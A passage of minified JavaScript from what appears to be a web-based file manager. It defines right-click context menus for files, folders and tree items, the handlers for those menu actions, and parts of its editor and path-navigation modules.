menuNotAutoHidden",callback:function(e){T(e),$(".toolPathMore").removeClass("active")},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},newfileOther:d.newfileOther,sep0:"--------",open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past+"<b>Ctrl+V</b>",className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Delete</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link"}}},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},w=function(){$('<i class="'+i.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},x=function(){$('<i class="'+t.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},app_edit:{name:LNG.app_edit,className:"app_edit",icon:"code",accesskey:"a"},open_text:{name:LNG.edit+"<b>Ctrl+E</b>",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"<b>F2</b>",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},unzip:{name:LNG.unzip,icon:"folder-open-alt",className:"unzip",accesskey:"u",items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_folder:{name:LNG.unzip_folder,className:"unzip_folder",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"}}},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},setBackground:{name:LNG.set_background,className:"setBackground",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},N=function(){$('<i class="'+a.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){T(e)},items:{copy:{name:LNG.copy+"<b>Ctrl+C</b>",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"<b>Ctrl+X</b>",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"<b>Del</b>",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------",copy_to:{name:LNG.copy_to,className:"copy_to",icon:"copy"},cute_to:{name:LNG.cute_to,className:"cute_to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"<b>Ctrl+C</b>",className:"clone",icon:"external-link",accesskey:"n"},playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},zip:{name:LNG.zip,className:"zip",icon:"external-link",accesskey:"z",items:{zip_zip:{name:"ZIP "+LNG.file,className:"zip_zip",icon:"external-link"},sep109:"--------",zip_tar:{name:"TAR "+LNG.file,className:"zip_tar",icon:"external-link",accesskey:"f"},zip_tgz:{name:"GZIP "+LNG.file,className:"zip_tgz",icon:"external-link",accesskey:"f"}}},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('<i class="menuGroupRoot"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRoot",callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}}),$('<i class="menuGroupRootMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRootMore",callback:function(e){T(e)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"}}})},C=function(){$('<i class="menuFavPath"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPath",callback:function(e){T(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------",fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('<i class="menuFavPathMore"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPathMore",className:"menuFavPathMore",callback:function(e){T(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"}}})},z=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"setlist_split":ui.setListType("list_split");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"upload":core.upload();break;case"recycle_clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"past":ui.path.past();break;case"copy_see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile_null":ui.path.newFile("");break;case"newfile_md":ui.path.newFile("md");break;case"newfile_html":ui.path.newFile("html");break;case"newfile_php":ui.path.newFile("php");break;case"newfile_js":ui.path.newFile("js");break;case"newfile_css":ui.path.newFile("css");break;case"newfile_oexe":ui.path.newFile("oexe");break;case"newfile_docx":ui.path.newFile("docx");break;case"newfile_xlsx":ui.path.newFile("xlsx");break;case"newfile_pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app_install":ui.path.appList();break;case"app_create":ui.path.appEdit(!0);break;case"setting":core.setting();break;case"setting_theme":core.setting("theme");break;case"setting_wall":core.setting("wall");break;default:}},T=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"share":ui.path.share();break;case"open_ie":ui.path.openWindow();break;case"open_text":ui.path.openEditor();break;case"app_edit":ui.path.appEdit();break;case"playmedia":ui.path.play();break;case"share_edit":ui.path.shareEdit();break;case"share_open_window":ui.path.shareOpenWindow();break;case"share_open_path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"cute":ui.path.cute();break;case"cute_to":ui.path.cuteTo();break;case"copy_to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"zip_zip":ui.path.zip();break;case"zip_tar":ui.path.zip("tar");break;case"zip_tgz":ui.path.zip("tar.gz");break;case"unzip_folder":ui.path.unZip();break;case"unzip_this":ui.path.unZip("to_this");break;case"unzip_to":ui.path.unZip("unzip_to_folder");break;case"setBackground":ui.path.setBackground();break;case"createLinkHome":ui.path.createLink(!1);break;case"createLink":ui.path.createLink(!0);break;case"createProject":ui.path.createProject();break;case"openProject":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorerNew":ui.path.explorerNew();break;case"fav_page":core.setting("fav");break;case"fav_remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:z(e)}},j=function(){$('<i class="menuTreeFavRoot"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFavRoot",callback:function(e){I(e)},items:{fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('<i class="menuTreeFav"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFav",callback:function(e){I(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep2:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},S=function(){$('<i class="'+n.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){I(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-text-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},E=function(){$('<i class="'+o.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){I(e)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20"></b>',className:"info",icon:"info",accesskey:"i"}}})},P=function(){$('<i class="'+o.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){I(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20">Alt+I</b>',className:"info",icon:"info",accesskey:"i"}}}) -},D=function(){$('<i class="'+r.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:r,callback:function(e){I(e)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},A=function(){$('<i class="'+l.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:l,callback:function(e){I(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},F=function(){$('<i class="'+c.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,callback:function(e,t){var i=t.$trigger;i.hasClass("file")?T(e):I(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},O=function(){$('<i class="'+s.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:s,callback:function(e){I(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}},sep3:"--------",info:{name:LNG.info+'<b class="ml-20">Alt+I</b>',className:"info",icon:"info",accesskey:"i"}}})},I=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute_to":ui.tree.cuteTo();break;case"copy_to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open_ie":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile_html":ui.tree.create("html");break;case"newfile_php":ui.tree.create("php");break;case"newfile_js":ui.tree.create("js");break;case"newfile_css":ui.tree.create("css");break;case"newfile_oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"fav_page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"createLinkHome":ui.tree.createLink(!1);break;case"fav_remove":ui.tree.favRemove();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initDesktop:u,initExplorer:p,initEditor:f,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e="hidden",t="disabled",i=$(".context-menu-list").filter(":visible"),a=$(".context-menu-active");if(0!=i.length&&0!=a.length){if(i.find(".disable").addClass("disabled"),a.hasClass("menufile")){var n=ui.fileLight.type(ui.fileLight.fileListSelect());inArray(core.filetype.archive,n)?i.find(".unzip").removeClass(e):i.find(".unzip").addClass(e),inArray(core.filetype.image,n)?i.find(".setBackground").removeClass(e):i.find(".setBackground").addClass(e),"oexe"==n?i.find(".app_edit").removeClass(e):i.find(".app_edit").addClass(e),inArray(core.filetype.image,n)||inArray(core.filetype.music,n)||inArray(core.filetype.movie,n)||inArray(core.filetype.bindary,n)?i.find(".open_text").addClass(e):i.find(".open_text").removeClass(e)}if(a.hasClass("menufolder")||a.hasClass("menufile")||a.hasClass("menuTreeFolder")||a.hasClass("menuTreeFile")){var o=".cute,.rname,.remove,.zip",s=".open,.open_text,.down,.share,.copy,.cute,.rname,.remove,.open_ie,.zip,.unzip_this,.unzip_folder,.search,.more_action";a.hasClass("file_not_readable")?i.find(s).addClass(t):i.find(s).removeClass(t),a.hasClass("file_not_writeable")?i.find(o).addClass(t):i.find(o).removeClass(t)}if(a.hasClass("dialog_menu")){var r=a.attr("id"),l=$.dialog.list[r],c=e;l.has_frame()?(i.find(".open_window").removeClass(c),i.find(".refresh").removeClass(c),i.find(".qrcode").removeClass(c)):(i.find(".open_window").addClass(c),i.find(".refresh").addClass(c),i.find(".qrcode").addClass(c)),$("."+r).hasClass("dialog-can-resize")?i.find(".dialog_max").removeClass(c):i.find(".dialog_max").addClass(c)}if(a.hasClass("menuMore")){var d=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(d+=1)}),0==d?i.find(".playmedia").addClass(e):i.find(".playmedia").removeClass(e)}(a.hasClass("menuZipListFolder")||a.hasClass("menuZipListFile"))&&(core.pathCurrentWriteable()?i.find(".unzip_this").removeClass(t):i.find(".unzip_this").addClass(t)),a.hasClass("toolPathMore")&&ui.fileLight.menuResetMore()}},isDisplay:function(){return 0==$(".context-menu-list:visible").length?!1:!0},hidden:function(){$(".context-menu-list").filter(":visible").filter(":not(.menuNotAutoHidden)").trigger("contextmenu:hide")}}}),define("app/src/editor/ui",[],function(){var e=function(){$(".tools-left a").click(function(){var e=$(this).attr("class");switch(e){case"home":tree.init();break;case"view":tree.explorer();break;case"folder":tree.create("folder");break;case"file":tree.create("txt");break;case"refresh":tree.refresh();break;default:}})};return{init:function(){tree.init(),e(),Mousetrap.bind(["ctrl+s","command+s"],function(e){e.preventDefault(),e.returnvalue=!1,ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()})})},setTheme:function(e){core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)})},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},fileHistory:function(e){var t=G.project;if(G.sid!==void 0&&(t=t+"__"+G.sid),t="editorHistory_"+t,void 0==e){var i=LocalData.get(t);return i=jsonDecode(i),$.isArray(i)||(i=[]),i}LocalData.set(t,jsonEncode(e))}}}),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var t=e("../../common/pathOperate"),i=e("../../common/pathOpen"),a=void 0;ui.pathOpen=i;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,t,i,a){if(void 0!=e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=t&&""!=t&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof i&&i()})}},s=function(){var e=[],t=60,i=0,a=function(a){var n=e.length-1;return n==i&&e[n]==a?r():(i!=n&&(e=e.slice(0,i+1)),e[e.length-1]!=a&&e.push(a),e.length>=t&&(e=e.slice(1)),i=e.length-1,r(),void 0)},n=function(){e.length-1>=i+1&&(o(e[++i],"","",!0),r())},s=function(){i-1>=0&&(o(e[--i],"","",!0),r())},r=function(){var t="disable",a=e.length-1;$("#history_next").addClass(t),$("#history_back").addClass(t),(0!=i||0!=a)&&(i>0&&a>=i&&$("#history_back").removeClass(t),i>=0&&i!=a&&$("#history_next").removeClass(t))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var t=0;e.length>t;t++)e[t]=trim(e[t],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var t=trim(ui.fileLight.path($(this)),"/");t&&-1!=$.inArray(t,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var t=[];ui.fileLight.fileListAll().each(function(){var i=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));i&&e==i.substring(0,e.length).toLowerCase()&&t.push(a)}),a={key:e,path:G.this_path,index:0,list:t}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(t){var i=ui.fileLight.name($(this));-1!=i.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(t).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,t){var i=G.this_path+e;return void 0==t&&(i+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(i)+'"]').length?!0:!1},p=function(e,t){var i,a=0,n="."+t;if((void 0==t||""==t)&&(n=""),!d(e+n,t))return e+n;for(i=e+"(0)"+n;d(i,t);)a++,i=e+"("+a+")"+n;return i},u=function(e,i){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:i,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==i?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==t.strSort(r[a][l],d[l]))break}else if(-1!=t.strSort(r[a][l],d[l]))break;return a+n-1},f=function(i,a,n){ui.fileLight.clear();var o=u(a,i),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:i,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=a.length;"folder"!=i&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var _=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==i?t.newFolder(a+e,m):t.newFile(a+e,m)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),_(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){_(f.attr("value"))})},h=function(){var e="",i=ui.fileLight.fileListSelect(),a=ui.fileLight.name(i),o=core.pathFather(ui.fileLight.path(i)),s=ui.fileLight.type(i);if(1==i.length&&n()){if(i.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l="<input class='fix' id='pathRenameTextarea' 